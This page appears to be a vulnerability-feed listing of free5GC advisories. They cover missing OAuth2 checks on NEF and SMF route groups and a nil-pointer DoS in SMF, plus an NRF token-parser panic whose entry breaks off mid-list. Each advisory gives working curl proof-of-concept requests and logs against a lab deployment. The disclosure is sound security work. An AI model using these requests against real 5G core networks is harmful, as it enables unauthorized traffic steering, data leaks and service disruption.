💬 ### Summary free5GC's NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD applicat...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, `nnef-pfdmanagement` IS declared in the runtime `ServiceList`, so this is the production-intended path that operators expect to be protected by `OAuth2 setting receive from NRF: true` -- and it is not. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, but the entire `nnef-pfdmanagement` route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:56` - Read routes exposed at `/applications` and `/applications/:appID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - Subscription routes exposed at `/subscriptions` and `/subscriptions/:subID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - `GET /applications` queries UDR for application PFD data: `NFs/nef/internal/sbi/processor/pfdf.go:19` - `GET /applications/:appID` queries UDR for an application PFD: `NFs/nef/internal/sbi/processor/pfdf.go:53` - `POST /subscriptions` only checks `notifyUri` is present, then stores the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:83` - `DELETE /subscriptions/:subID` removes the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:110` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions ``` 2. Seed one PFD application entry (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions ``` 3. READ PFD collection with forged token -> `200 OK` returns PFD data: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311' ``` 4. READ individual PFD with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311 ``` 5. CREATE PFD subscription with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions ``` 6. DELETE PFD subscription with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` NEF container logs (`docker logs nef`) show requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=... [INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/... [INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2] [INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions [INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1] [INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `nnef-pfdmanagement` SBI route group. This is the production-intended PFD service for NEF (declared in the runtime `ServiceList`), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen `notifyUri` endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation. The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

حرجة
📦 github.com/free5gc/smf 📌 All versions < 1.4.3 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's SMF mounts the `UPI` management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit `UPI` endpoints with no `Authorization` header at all, and the requests reach the SMF business handlers....
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's SMF mounts the `UPI` management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit `UPI` endpoints with no `Authorization` header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (`GET /upi/v1/upNodesLinks`), write (`POST /upi/v1/upNodesLinks` with attacker-controlled UP-node and link payload), and delete (`DELETE /upi/v1/upNodesLinks/{nodeID}`) operations. The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling `nsmf-oam` group on the same SMF instance shows OAM IS protected (no-token request returns `401 Unauthorized`). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.0` - Docker validation date: 2026-03-13 Control comparison on the same SMF instance: - `GET /upi/v1/upNodesLinks` (no token) -> `200 OK` - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` This side-by-side proves OAuth2 middleware is wired in for `nsmf-oam` but not for `UPI` on the same process. Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware: `NFs/smf/internal/sbi/server.go:76` - OAM group mounted WITH auth middleware (control): `NFs/smf/internal/sbi/server.go:95` - UPI business handlers (read / write / delete on `upNodesLinks`): - `NFs/smf/internal/sbi/api_upi.go:44` - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:84` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. READ UP-nodes/links with NO `Authorization` header -> `200 OK`: ``` curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks ``` 2. WRITE: POST attacker-controlled UPF node and link with NO `Authorization` header -> `200 OK`: ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}' ``` 3. DELETE with FORGED token -> `404 Not Found` from business logic (auth was bypassed; the 404 is a business response, not an auth rejection): ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \ -H 'Authorization: Bearer not-a-real-token' ``` 4. CONTROL: same instance, sibling OAM route, no token -> `401 Unauthorized`: ``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` SMF container logs (`docker logs smf`) confirm the side-by-side behavior: ``` [INFO][SMF][GIN] | 200 | GET | /upi/v1/upNodesLinks [INFO][SMF][GIN] | 401 | GET | /nsmf-oam/v1/ [INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313 [INFO][SMF][GIN] | 200 | POST | /upi/v1/upNodesLinks ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF `UPI` SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries. Any party that can reach SMF on the SBI can: - Read SMF's current UP-node and link topology view anonymously. - Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions. - Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic. The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197

الإصدارات المتأثرة

All versions < 1.4.3

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

عالية
📦 github.com/free5gc/smf 📌 All versions < 1.4.3 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as the broader UPI auth gap reported in free5gc/free5gc#887). On top of that, the `DELETE /upi/v1/upNodesLinks/{upNodeRef}` handler unconditionally dereferences `u...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as the broader UPI auth gap reported in free5gc/free5gc#887). On top of that, the `DELETE /upi/v1/upNodesLinks/{upNodeRef}` handler unconditionally dereferences `upNode.UPF` after the type-guarded async release, even though `AN`-typed nodes are constructed without a `UPF` object. As a result, a single unauthenticated `DELETE /upi/v1/upNodesLinks/gNB1` request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the `UpNodeDelete(upNodeRef)` line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:43:17Z`) - SMF endpoint: `http://10.100.200.6:8000` Control comparison on the same SMF instance: - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` - `DELETE /upi/v1/upNodesLinks/gNB1` (no token) -> `500 Internal Server Error` (panic) The sibling `nsmf-oam` returning `401` proves OAuth middleware IS wired in for other SMF route groups; the UPI group specifically is mounted without it. Vulnerable handler logic (paths in `free5gc/smf`): ```go // NFs/smf/internal/sbi/api_upi.go:94..99 if upNode.Type == smf_context.UPNODE_UPF { go s.Processor().ReleaseAllResourcesOfUPF(upNode.UPF) } upi.UpNodeDelete(upNodeRef) upNode.UPF.CancelAssociation() // <-- panics for AN-typed nodes; nil UPF ``` The `Type == UPNODE_UPF` guard only protects the asynchronous `ReleaseAllResourcesOfUPF` call. After that, `UpNodeDelete(upNodeRef)` runs unconditionally (so the topology mutation lands first), and then `upNode.UPF.CancelAssociation()` is called unconditionally on a `*UPF` that is `nil` for `AN` nodes by construction. Code evidence: - UPI group mounted WITHOUT auth middleware: - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Protected control comparison (other SMF groups DO use auth): - `NFs/smf/internal/sbi/server.go:99` - `NFs/smf/internal/sbi/server.go:105` - Delete handler (panic site): - `NFs/smf/internal/sbi/api_upi.go:94` - `NFs/smf/internal/sbi/api_upi.go:99` - AN nodes are constructed without a UPF object (root cause of the nil deref): - `NFs/smf/internal/context/user_plane_information.go:95` - `NFs/smf/internal/context/user_plane_information.go:97` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Control: protected sibling OAM route returns `401`: ``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` ``` HTTP/1.1 401 Unauthorized ``` 2. Trigger: unauthenticated DELETE on the default AN node `gNB1`: ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/gNB1 ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. SMF container logs (`docker logs --tail 120 smf`) show topology mutation landing BEFORE the panic, and the panic stack pointing at `api_upi.go:99`: ``` [INFO][SMF][Init] UPNode [gNB1] found. Deleting it. [INFO][SMF][Init] Delete UPLink [UPF] <=> [gNB1]. [ERRO][SMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/smf/internal/sbi.(*Server).DeleteUpNodeLink /go/src/free5gc/NFs/smf/internal/sbi/api_upi.go:99 +0x298 [INFO][SMF][GIN] | 500 | DELETE | /upi/v1/upNodesLinks/gNB1 ``` The lab state was manually restored after validation by re-creating the AN entry; that POST is restoration-only and is NOT a mitigation. ### Impact Three compounding defects on the same SMF SBI surface: 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group, so the trigger is reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no session, no UE state needed. The same-instance `nsmf-oam` returning `401` proves the middleware is wired in elsewhere and only missing on UPI. 2. NULL pointer dereference (CWE-476) in `DeleteUpNodeLink`: the `Type == UPNODE_UPF` guard only covers the async release call, then `upNode.UPF.CancelAssociation()` runs unconditionally on AN-typed nodes that have a nil `UPF` field by construction. 3. Order of operations (CWE-755 / CWE-754): `UpNodeDelete(upNodeRef)` mutates the in-memory user-plane topology BEFORE the dereference panics, so the topology change lands even though the request returns 500. This makes the bug state-mutating, not just a plain panic. Any party that can reach SMF on the SBI can: - Delete arbitrary named entries (e.g. `gNB1`) from SMF's in-memory user-plane topology anonymously via a single `DELETE /upi/v1/upNodesLinks/{ref}` request, denying SMF's ability to consider that AN/UPF in subsequent UPF selection / PFCP path establishment for legitimate UE sessions. - Trigger a panic on the SMF goroutine for the deleted-AN case, even though Gin recovers the goroutine, leaving the topology in the mutated state above. - Repeat the trigger by name against any AN entry, sustaining the topology denial without ever authenticating. This is a strict superset of the impact in free5gc/free5gc#887 for this specific code path: same auth bypass, plus a concrete request-triggerable nil deref, plus state mutation that survives the panic. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/905 Upstream fix: https://github.com/free5gc/smf/pull/199

الإصدارات المتأثرة

All versions < 1.4.3

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

حرجة
📦 github.com/free5gc/nef 📌 All versions < 0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل
💬 ### Summary free5GC's NEF mounts the `nnef-oam` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no `Authorization` header at all and the handler returns `200 OK`. The current OAM handler is ...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's NEF mounts the `nnef-oam` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no `Authorization` header at all and the handler returns `200 OK`. The current OAM handler is a stub that returns `null`, but the structural defect is route-group-scoped: the entire OAM route group has no inbound auth middleware, so every future OAM operation added to this group inherits the missing auth boundary by default. Same root cause as the NEF traffic-influence and PFD-management findings. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the OAM route group is mounted without any inbound auth middleware and answers unauthenticated `GET`s with `200 OK`. Code evidence (paths in `free5gc/nef`): - OAM route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:60` - OAM route exposed at `/`: `NFs/nef/internal/sbi/api_oam.go:9` - OAM processor returns `200 OK` directly: `NFs/nef/internal/sbi/processor/oam.go:9` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` ### PoC Reproduced against the running NEF at `http://10.100.200.19:8000` with no `Authorization` header: ``` curl -i http://10.100.200.19:8000/nnef-oam/v1/ ``` Observed output: ``` HTTP/1.1 200 OK null ``` NEF container logs (`docker logs nef`) show the request being served while OAuth is enabled: ``` [INFO][NEF][GIN] | 200 | GET | /nnef-oam/v1/ ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF OAM SBI route group. Severity is scored against the OAM route group's intended capability surface (Operations / Administration / Maintenance), NOT against the current stub handler. The current handler is a stub that returns `null`, but the defect is route-group-scoped: there is no auth middleware on the group at all, so every future OAM operation added behind this group inherits the missing inbound auth boundary by default. Any party that can reach NEF on the SBI can: - Probe and enumerate the OAM route surface anonymously today. - Hit any future OAM-group endpoint (read, modify, restart-style operations) anonymously, because the auth boundary does not exist for this group. Operators who assume `OAuth2 setting receive from NRF: true` enforces inbound auth on NEF are wrong for this route group. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/861 Upstream fix: https://github.com/free5gc/nef/pull/23

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H

حرجة
📦 github.com/free5gc/nef 📌 All versions < 0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل
💬 ### Summary free5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, o...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48` - CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13` - POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50` - PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279` - DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. 1. CREATE subscription with NO `Authorization` header at all -> `201 Created`: ``` curl -i \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` 2. CREATE second subscription with FORGED bearer token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions ``` 3. READ with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed): ``` curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 5. DELETE with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): ``` [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence. The traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

عالية
📦 github.com/free5gc/nrf 📌 All versions < 1.4.3 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagement...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields. Note: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint. ### Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nrf:v4.2.1` - Docker validation date: 2026-03-22 - NRF endpoint: `http://10.100.200.3:8000` Root cause is in the access-token request parser: - `NFs/nrf/internal/sbi/api_accesstoken.go:52` - `NFs/nrf/internal/sbi/api_accesstoken.go:87` - `NFs/nrf/internal/sbi/api_accesstoken.go:98` - `NFs/nrf/internal/sbi/api_accesstoken.go:100` - `NFs/nrf/internal/sbi/api_accesstoken.go:112` The model definition lives in `free5gc/openapi`: - `models/model_nrf_access_token_access_token_req.go:27` - `models/model_nrf_access_token_access_token_req.go:29` - `models/model_nrf_access_token_access_token_req.go:30` - `models/model_nrf_access_token_access_token_req.go:31` The parser's effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error. Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - `requesterPlmnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnId` - `requesterSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `requesterSnpnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnIdNid` - `targetSnpn` -> panic assigning `*models.PlmnId` to `*models.PlmnIdNid` - `targetSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `targetNsiList` -> panic assigning `*models.PlmnId` to `[]string` ### PoC Reproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler. 1. `requesterPlmnList` -> `[]models.PlmnId` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}' ``` 2. `requesterSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}' ``` 3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}' ``` 4. `targetSnpn` -> `*models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}' ``` 5. `targetSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}' ``` 6. `targetNsiList` -> `[]string` mismatch: 